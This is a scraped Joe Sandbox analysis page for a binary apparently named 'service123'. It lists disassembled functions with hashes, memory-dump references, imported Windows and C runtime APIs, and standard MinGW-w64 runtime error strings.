Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: 2fd3caf0cb2b06676db9c70fb4e376515151e6147ceb5c486ce84319aaebc1f2
Instruction ID: d867ec39be4773a02658c191c6fdb825ba7682cdb6b2ed7d7868f2f153ceb057
Opcode Fuzzy Hash: 2fd3caf0cb2b06676db9c70fb4e376515151e6147ceb5c486ce84319aaebc1f2
Instruction Fuzzy Hash: 21E0E5309082568FE320EE68C2853297BA17B5330CF141D58C95137A42C335A44BC745

Function 6C7BC330 Relevance: 24.6, APIs: 10, Strings: 4, Instructions: 130fileCOMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 6C7BC3A1
fwrite.MSVCRT ref: 6C7BC448
fputs.MSVCRT ref: 6C7BC465
fwrite.MSVCRT ref: 6C7BC48E
fputs.MSVCRT ref: 6C7BC4AD
fwrite.MSVCRT ref: 6C7BC4DC
fwrite.MSVCRT ref: 6C7BC50E
abort.MSVCRT ref: 6C7BC513
abort.MSVCRT ref: 6C876157
free.MSVCRT ref: 6C87615F

Part of subcall function 6C7AA340: strlen.MSVCRT ref: 6C7AA3C5
Part of subcall function 6C7AA340: memcpy.MSVCRT(?,?,?,?,?,?,?,?,?,6C7BC41C), ref: 6C7AA3E0
Part of subcall function 6C7AA340: free.MSVCRT ref: 6C7AA3EA

Strings

-, xrefs: 6C7BC4C1
not enough space for format expansion (Please submit full bug report at https://gcc.gnu.org/bugs/): , xrefs: 6C7BC349
terminate called after throwing an instance of ', xrefs: 6C7BC441
terminate called without an active exception, xrefs: 6C7BC4D5

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: fwrite$abortfputsfreememcpy$strlen
String ID: -$not enough space for format expansion (Please submit full bug report at https://gcc.gnu.org/bugs/): $terminate called after throwing an instance of '$terminate called without an active exception
API String ID: 4144276882-4175505668
Opcode ID: 603b8dce51c26d798a9363630ddd310a75aaabab794af810a1226ca77880bda7
Instruction ID: b4ec2e2626816045e74599fb21d26f0790ebd59385b30d1012aa021529bb952f
Opcode Fuzzy Hash: 603b8dce51c26d798a9363630ddd310a75aaabab794af810a1226ca77880bda7
Instruction Fuzzy Hash: 0F514CB04093149FD720AF68C64879EBBF4BF86308F00892DE4A597741EB749589CFA3

Function 6C7AD8A8 Relevance: 24.1, APIs: 16, Instructions: 52COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D30
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D35
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D3A
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D3F
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D44
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D4C
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D51
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D56
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D5B
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D60
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D65
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D6A
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D6F
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D74
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D79
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D7E

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: a1bcc61f7d948ec1cd4b2aab9ac3c2c86b76caed1eb50df352c1cd21699cdd8a
Instruction ID: 77e58ea183b1b4155a4dd3685d53d92057660402966710533ee5f11ee77e13d6
Opcode Fuzzy Hash: a1bcc61f7d948ec1cd4b2aab9ac3c2c86b76caed1eb50df352c1cd21699cdd8a
Instruction Fuzzy Hash: 33F02EB09653468FE320DF19C6853667FB07B53315F480D44D8842B743C3359499C7A1

Function 6C7ADE50 Relevance: 22.8, APIs: 12, Strings: 1, Instructions: 80COMMON

Download Yara Rule

Strings

@, xrefs: 6C7ADEB8

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: strlen
String ID: @
API String ID: 39653677-2766056989
Opcode ID: 87a01aea04c0e3a013c7a6594bcfb0e835412cc5bd9e9cf52c84faaa3b1f2bd4
Instruction ID: 99bba7c3975498af7e957e81c00d3f43ad2b6708f26ef44d8f7d97bf16e049ed
Opcode Fuzzy Hash: 87a01aea04c0e3a013c7a6594bcfb0e835412cc5bd9e9cf52c84faaa3b1f2bd4
Instruction Fuzzy Hash: 4321C67060525DCBDB20DF94CE88BDD77B8AB66309F1046B6DD19AB600E7319A89CF84

Function 6C7ADA90 Relevance: 22.6, APIs: 15, Instructions: 136COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: strlen
String ID:
API String ID: 39653677-0
Opcode ID: cf8f424e89f524c52de07978ea3185b3f8741f6867ab08ed101e48eba0637597
Instruction ID: 585e58eaf3c75f445d4632655bf2c79af938ce56ae7a48390b3ac8348ed59fb5
Opcode Fuzzy Hash: cf8f424e89f524c52de07978ea3185b3f8741f6867ab08ed101e48eba0637597
Instruction Fuzzy Hash: A8413C74A042199BCB10DF94CA847DEB7B1BB99318F148AA9DC49B7700D730AE85CF90

Function 6C7ADCE0 Relevance: 21.1, APIs: 14, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 730b82d2da7bc35f9127cbebe574e0472547f7dc119ace965d717b640774afe3
Instruction ID: 0e90fbbafe93d0f5b1b1c499572fd885dda8dcf050bc9574c2fea41f45c4e6b6
Opcode Fuzzy Hash: 730b82d2da7bc35f9127cbebe574e0472547f7dc119ace965d717b640774afe3
Instruction Fuzzy Hash: 9B111F74900218DBCB14DFA4C5899DEB7B5BF56358F04C964DC0977B01DB30AE49CB90

Function 6C7ADD80 Relevance: 19.6, APIs: 13, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5fe2482c830eee9ded9460493a8ea6eab20a7d1ebb5a31b0fcc83bb6770a18bd
Instruction ID: fece6706600d335750358196b7cc0d34c2b20835b84fb16ef376009d500e7ab0
Opcode Fuzzy Hash: 5fe2482c830eee9ded9460493a8ea6eab20a7d1ebb5a31b0fcc83bb6770a18bd
Instruction Fuzzy Hash: 56210874A0021DDBCF10DFA0CA899DEB7B5BB96348F1489A8DC0977741D730AE4ACB90

Function 6C7B0310 Relevance: 18.2, APIs: 12, Instructions: 165COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,6C87395F), ref: 6C7B034B
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,6C87395F), ref: 6C7B0352
SetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,6C87395F), ref: 6C7B0360

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: ErrorLast$Value
String ID:
API String ID: 1883355122-0
Opcode ID: 9b5b5d6a3661eaada0bafa427af85f967122f4b8679f4d038531da052745165d
Instruction ID: ee27b58ec95ba03fda8b4a515e9529a75e6d4e6aa363608a5c311c2324b930c9
Opcode Fuzzy Hash: 9b5b5d6a3661eaada0bafa427af85f967122f4b8679f4d038531da052745165d
Instruction Fuzzy Hash: 9B5137B06093418FCB20DF29C78C61AB7F1BF86348F15857DD998A7610EB31E949CB92

Function 6C7AA690 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 129fileCOMMON

Download Yara Rule

APIs

fwrite.MSVCRT ref: 6C7AA6BF
vfprintf.MSVCRT ref: 6C7AA6DF
abort.MSVCRT ref: 6C7AA6E4
VirtualQuery.KERNEL32 ref: 6C7AA77B

Strings

Mingw-w64 runtime failure:, xrefs: 6C7AA6B8
VirtualQuery failed for %d bytes at address %p, xrefs: 6C7AA827
VirtualProtect failed with code 0x%x, xrefs: 6C7AA7F6
Address %p has no image-section, xrefs: 6C7AA83B

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: QueryVirtualabortfwritevfprintf
String ID: VirtualProtect failed with code 0x%x$ VirtualQuery failed for %d bytes at address %p$Address %p has no image-section$Mingw-w64 runtime failure:
API String ID: 2513968241-1534286854
Opcode ID: cc3f98c29d31f9b689d02f6720c3fdc1649c8b3132e72df0349bc7a9460aba4a
Instruction ID: a7b4c2e09e3c99141a8da483eeb5b98cef0ab7969034f24c3af3bf7378a96d37
Opcode Fuzzy Hash: cc3f98c29d31f9b689d02f6720c3fdc1649c8b3132e72df0349bc7a9460aba4a
Instruction Fuzzy Hash: E6515CB19053009FC750DF69C68965ABBF0FF85328F558A2CE89897750E730E94ACF92

Function 00951940 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 129fileCOMMON

Download Yara Rule

APIs

fwrite.MSVCRT ref: 0095196F
vfprintf.MSVCRT ref: 0095198F
abort.MSVCRT ref: 00951994
VirtualQuery.KERNEL32 ref: 00951A2B

Strings

Mingw-w64 runtime failure:, xrefs: 00951968
VirtualQuery failed for %d bytes at address %p, xrefs: 00951AD7
VirtualProtect failed with code 0x%x, xrefs: 00951AA6
Address %p has no image-section, xrefs: 00951AEB

Memory Dump Source

Source File: 00000009.00000002.4137335593.0000000000951000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00950000, based on PE: true

Associated: 00000009.00000002.4137298907.0000000000950000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.4137371507.000000000095A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.4137424095.000000000095E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.4137468592.0000000000961000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_950000_service123.jbxd

Similarity

API ID: QueryVirtualabortfwritevfprintf
String ID: VirtualProtect failed with code 0x%x$ VirtualQuery failed for %d bytes at address %p$Address %p has no image-section$Mingw-w64 runtime failure:
API String ID: 2513968241-1534286854
Opcode ID: 04528dfc1308a0683a255ed02da35610bfba08458bfd2fc42295dedc3ea3f5b6
Instruction ID: f57a85b7bd38bee505dcd4dbd62c3fbae4dfe5ddd3de011db1afea43e7e6ee24
Opcode Fuzzy Hash: 04528dfc1308a0683a255ed02da35610bfba08458bfd2fc42295dedc3ea3f5b6
Instruction Fuzzy Hash: BD51ACB1509300CFC710EF2AE88575AFBE4FF84356F458A1CE8889B251D734E849CB92

Function 6C7AE0A0 Relevance: 16.6, APIs: 11, Instructions: 98COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D4C
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D51
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D56
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D5B
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D60
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D65
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D6A
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D6F
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D74
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D79
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D7E

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: efd6d1aa8f7c844900366810e7d4c2626413ae07f2c6d39cf97fb6c2f14196f9
Instruction ID: 06733e50de962afc3207852b173a43c8fd0b1fe33adacaade611d2b386cf8596
Opcode Fuzzy Hash: efd6d1aa8f7c844900366810e7d4c2626413ae07f2c6d39cf97fb6c2f14196f9
Instruction Fuzzy Hash: 482123323492188BC704CF98D8D169777A6EBC232872882BEE4488BB55D637A817D790

Function 6C7AE570 Relevance: 15.1, APIs: 10, Instructions: 145COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D51
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D56
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D5B
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D60
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D65
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D6A
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D6F
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D74
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D79
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D7E

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: 9dd2c658d3c2cb619c7bf21bb267980a7d57e1b10d09043a9d0bcde5e8cf3aa6
Instruction ID: e6ebd046e64a93031e3a05e4e1bc71c67c36fb628b601377940a9da93968b313
Opcode Fuzzy Hash: 9dd2c658d3c2cb619c7bf21bb267980a7d57e1b10d09043a9d0bcde5e8cf3aa6
Instruction Fuzzy Hash: E041287050830A8BD310DFA9C25076AB7E1AF81314F544F29E4A487A91E334C96FCBE2

Function 6C7AE59B Relevance: 15.1, APIs: 10, Instructions: 89COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D51
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D56
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D5B
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D60
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D65
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D6A
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D6F
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D74
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D79
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D7E

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: 602950868eee7070e08be62886ca486b6e553905e997eb949550a7b66955e2bd
Instruction ID: 0a7dc2a900f35bc87f4289c6a80395ea97155fcd270489e9797b3c409c5c3134
Opcode Fuzzy Hash: 602950868eee7070e08be62886ca486b6e553905e997eb949550a7b66955e2bd
Instruction Fuzzy Hash: 1B210B7050530A8FD710DEB4C69066AB7E1AF81318F644F29D4B487E95E330D86BC7D2

Function 6C7AE714 Relevance: 15.0, APIs: 10, Instructions: 35COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D51
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D56
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D5B
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D60
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D65
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D6A
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D6F
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D74
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D79
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D7E

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: 9e089e6cd6cd64aa5b62a2a55d0ff6e4215562d1fbf434e16bed1c0db5fcfaf7
Instruction ID: bfdccf6e39eabfdaed16cd886773938c4e8b0858bde21ead4c7bef00cd62f0fe
Opcode Fuzzy Hash: 9e089e6cd6cd64aa5b62a2a55d0ff6e4215562d1fbf434e16bed1c0db5fcfaf7
Instruction Fuzzy Hash: C2E0263008821DCFC720CEA8C769199B7D4AF96308B404E16C4D193D10E330D95BCAC2

Function 6C7B9249 Relevance: 14.0, APIs: 4, Strings: 4, Instructions: 31libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 6C7B9260
GetProcAddress.KERNEL32 ref: 6C7B927A
LoadLibraryW.KERNEL32 ref: 6C7B929F
GetProcAddress.KERNEL32 ref: 6C7B92B3

Strings

msvcrt.dll, xrefs: 6C7B9255
rand_s, xrefs: 6C7B926F
advapi32.dll, xrefs: 6C7B9298
SystemFunction036, xrefs: 6C7B92A8

Memory Dump Source

